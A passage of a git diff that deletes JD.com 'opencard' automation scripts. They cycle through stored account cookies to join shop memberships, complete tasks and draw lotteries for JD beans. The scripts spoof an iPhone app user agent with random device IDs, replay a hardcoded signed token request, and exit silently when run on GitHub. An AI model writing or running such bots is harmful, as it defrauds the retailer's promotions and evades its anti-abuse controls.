- if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`抽奖获得:${res.data.drawOk && res.data.name || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`抽奖 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res !== 'object'){ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res && res.data || ''); - } - }) - }) -} - - -function drawContent() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/drawContent',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getActorUuid() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/openCard/summer/activityContent',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus - if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus - if(typeof res.data.sign.allStatus != 'undefined') $.sign = res.data.sign.allStatus - if(typeof res.data.visitSku.allStatus != 'undefined') $.visitSku = res.data.visitSku.allStatus - if(typeof res.data.visitSku.settings != 'undefined') $.visitSkuList = res.data.visitSku.settings - if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid - if(typeof res.data.score5 != 'undefined') $.score5 = res.data.score5 - if(typeof res.data.score != 'undefined') $.score = res.data.score - if(typeof res.data.score1 != 'undefined') $.score1 = res.data.score1 - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function accessLogWithAD() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - let body = `venderId=${$.shopId || $.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` - $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` - $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data) - if(typeof res == 'object' && res.result == true){ - if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin - if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getMyPing ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}` - $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - if(typeof res.data.jdActivityId != 'undefined') $.jdActivityId = res.data.jdActivityId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'Content-Type':'application/x-www-form-urlencoded', - 'Cookie': cookie, - 'Host':'api.m.jd.com', - 'User-Agent': $.UA, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data) - if(typeof res == 'object' && res.errcode == 0){ - if(typeof res.token != 'undefined') $.Token = res.token - }else if(typeof res == 'object' && res.message){ - console.log(`isvObfuscator ${res.message || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function token() { - return new Promise(resolve => { - let get = { - url:`https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - "Cookie": `${activityCookie} ${cookie}`, - "Referer":`https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA, - } - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getCk() { - return new Promise(resolve => { - let get = { - url:`https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - } - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function taskPostUrl(url, body) { - return { - url: `https://lzdz1-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie} ${activityCookie} ${$.Pin && "AUTH_C_USER=" + $.Pin + ";" || ""}`, - "Host": "lzdz1-isv.isvjcloud.com", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz1-isv.isvjcloud.com/lzclient/dz/2021jan/eliminateGame/0816eliminate/?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard17.js b/backUp/gua_opencard17.js deleted file mode 100644 index b3a876b..0000000 --- a/backUp/gua_opencard17.js +++ /dev/null @@ -1,545 +0,0 @@ -/* -秋新资联合开卡 [gua_opencard17.js] -———————————————— -跑此脚本需要添加依赖文件[sign_graphics_validate.js] - -新增开卡脚本 -一次性脚本 - -没有邀请助力 -没有邀请助力 -没有邀请助力 - -开2组卡(10+9) 共19个卡 每个卡10京豆 (如果在别的地方开过卡 则在这不能开卡 故没有京豆 -2个日常任务 有浏览、关注、加购 (每次1京豆 关注和加购可以多次 -(默认不加购 如需加购请设置环境变量[guaopencard_addSku17]为"true" -做完浏览、关注、加购 可以领取20京豆 - -默认脚本不执行 -如需执行脚本请设置环境变量 -做任务 -guaopencardRun17="true" -开卡 -guaopencard17="true" - -———————————————— -因需要加载依赖文件 -所以不支持手机软件(Quantumultx、Loon、Surge、小火箭等 -———————————————— -入口:[ 秋新资联合开卡 (https://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html)] - -*/ -const $ = new Env('秋新资联合开卡'); -const Faker=require('./sign_graphics_validate.js') -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = "false" -guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku17 ? process.env.guaopencard_addSku17 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku17') ? $.getdata('guaopencard_addSku17') : `${guaopencard_addSku}`); -let guaopencard = "false" -guaopencard = $.isNode() ? (process.env.guaopencard17 ? process.env.guaopencard17 : `${guaopencard}`) : ($.getdata('guaopencard17') ? $.getdata('guaopencard17') : `${guaopencard}`); -let guaopencardRun = "false" -guaopencardRun = $.isNode() ? (process.env.guaopencardRun17 ? process.env.guaopencardRun17 : `${guaopencardRun}`) : ($.getdata('guaopencardRun17') ? $.getdata('guaopencardRun17') : `${guaopencardRun}`); -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if(guaopencard+"" != "true"){ - console.log('如需开卡请设置环境变量[guaopencard17]为"true"') - } - if(guaopencardRun+"" != "true"){ - console.log('如需做任务请设置环境变量[guaopencardRun17]为"true"') - } - if(guaopencard+"" != "true" && guaopencardRun+"" != "true"){ - return - } - console.log(`入口:\nhttps://prodev.m.jd.com/mall/active/3q7yrbh3qCJvHsu3LhojdgxNuWQT/index.html`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.bean = 0 - await getUA() - $.nickName = ''; - console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await run(); - if($.bean > 0) message += `【京东账号${$.index}】获得${$.bean}京豆\n` - } - } - if(message){ - $.msg($.name, ``, `${message}\n获得到的京豆不一定到账`); - if ($.isNode()){ - await notify.sendNotify(`${$.name}`, `${message}\n获得到的京豆不一定到账`); - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -async function run() { - try { - await getHtml(); - await $.wait(parseInt(Math.random() * 1000 + 2000, 10)) - if(!$.fp || !$.eid){ - $.log("获取活动信息失败!") - return - } - let config = [ - {configCode:'5f08564a952142fba421fabac1d480c2',configName:'秋新资联合开卡组2'}, - {configCode:'8f5f70f072154ce3acd50acaecee6638',configName:'秋新资联合开卡组1'}, - {configCode:'482c166b0a7648c3a0840626bff3af06',configName:'秋新资任务组件 组2'}, - {configCode:'ce04c87546ea40cc8f601e85f2dda2a9',configName:'秋新资任务组件 组1'}, - ] - for(let i in config){ - $.hotFlag = false - let item = config[i] - $.task = '' - $.taskList = [] - $.taskInfo = '' - let q = 5 - for(m=1;q--;m++){ - if($.task == '') await getActivity(item.configCode,item.configName,0) - if($.task || $.hotFlag) break - } - if($.hotFlag) continue; - if($.task.showOrder){ - console.log(`\n[${item.configName}] ${$.task.showOrder == 2 && '日常任务' || $.task.showOrder == 1 && '开卡' || '未知活动类型'} ${($.taskInfo.rewardStatus == 2) && '全部完成' || ''}`) - if($.taskInfo.rewardStatus == 2) continue; - $.taskList = $.task.memberList || $.task.taskList || [] - $.oneTask = '' - for (let i = 0; i < $.taskList.length; i++) { - $.oneTask = $.taskList[i]; - if($.task.showOrder == 1){ - if(guaopencard+"" != "true"){ - console.log('如需开卡请设置环境变量[guaopencard17]为"true"') - break - } - if($.oneTask.cardName.indexOf('马克华') > -1) continue - console.log(`${$.oneTask.cardName} ${0 == $.oneTask.result ? "开卡得" + $.oneTask.rewardQuantity + "京豆" : 1 == $.oneTask.result ? "领取" + $.oneTask.rewardQuantity + "京豆" : 3 == $.oneTask.result ? "其他渠道入会" : "已入会"}`) - if($.oneTask.result == 0) await statistic(`{"activityType":"module_task","groupType":7,"configCode":"${item.configCode}","itemId":${$.oneTask.cardId}}`) - if($.oneTask.result == 0) await join($.oneTask.venderId) - await $.wait(parseInt(Math.random() * 1000 + 500, 10)) - if($.oneTask.result == 1 || $.oneTask.result == 0) await getReward(`{"configCode":"${item.configCode}","groupType":7,"itemId":${$.oneTask.cardId},"eid":"${$.eid}","fp":"${$.fp}"}`) - }else if($.task.showOrder == 2){ - if(guaopencardRun+"" != "true"){ - console.log('如需做任务请设置环境变量[guaopencardRun17]为"true"') - break - } - $.cacheNum = 0 - $.doTask = false - $.outActivity = false - let name = `${1 == $.oneTask.groupType ? "关注并浏览店铺" : 2 == $.oneTask.groupType ? "加购并浏览商品" : 3 == $.oneTask.groupType ? "关注并浏览频道" : 6 == $.oneTask.groupType ? "浏览会场" : "未知"}` - let msg = `(${$.oneTask.finishCount}/${$.oneTask.taskCount})` - let status = `${$.oneTask.finishCount >= $.oneTask.taskCount && '已完成' || "去" + (1 == $.oneTask.groupType ? "关注" : 2 == $.oneTask.groupType ? "加购" : 3 == $.oneTask.groupType ? "关注" : 6 == $.oneTask.groupType ? "浏览" : "做任务")}` - console.log(`${name}${msg} ${status}`) - if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) console.log('如需加购请设置环境变量[guaopencard_addSku17]为"true"\n'); - if(guaopencard_addSku+"" != "true" && 2 == $.oneTask.groupType) continue; - if($.oneTask.finishCount < $.oneTask.taskCount){ - await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTask.groupType},"itemId":"${$.oneTask.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) - let c = $.oneTask.taskCount - $.oneTask.finishCount - 1 - for(n=2;c-- && !$.outActivity;n++){ - if($.outActivity) break - console.log(`第${n}次`) - await getActivity(item.configCode,item.configName,$.oneTask.groupType) - $.oneTasks = '' - let q = 3 - for(m=1;q--;m++){ - if($.oneTasks == '') await getActivity(item.configCode,item.configName,$.oneTask.groupType) - if($.oneTasks) break - } - if($.oneTasks){ - c = $.oneTasks.taskCount - $.oneTasks.finishCount - if($.oneTasks.item.itemId == $.oneTask.item.itemId){ - n--; - console.log(`数据缓存中`) - $.cacheNum++; - if($.cacheNum > 3) console.log('请重新执行脚本,数据缓存问题'); - if($.cacheNum > 3) break; - await getUA() - await $.wait(parseInt(Math.random() * 1000 + 3000, 10)) - await getHtml(); - }else{ - $.cacheNum = 0 - } - if($.oneTasks.item.itemId != $.oneTask.item.itemId && $.oneTasks.finishCount < $.oneTasks.taskCount) await doTask(`{"configCode":"${item.configCode}","groupType":${$.oneTasks.groupType},"itemId":"${$.oneTasks.item.itemId}","eid":"${$.eid}","fp":"${$.fp}"}`) - await $.wait(parseInt(Math.random() * 1000 + 1000, 10)) - }else{ - n--; - } - } - } - }else{ - console.log('未知活动类型') - } - } - if($.task.showOrder == 2){ - if($.doTask){ - $.taskInfo = '' - let q = 5 - for(m=1;q--;m++){ - if($.taskInfo == '') await 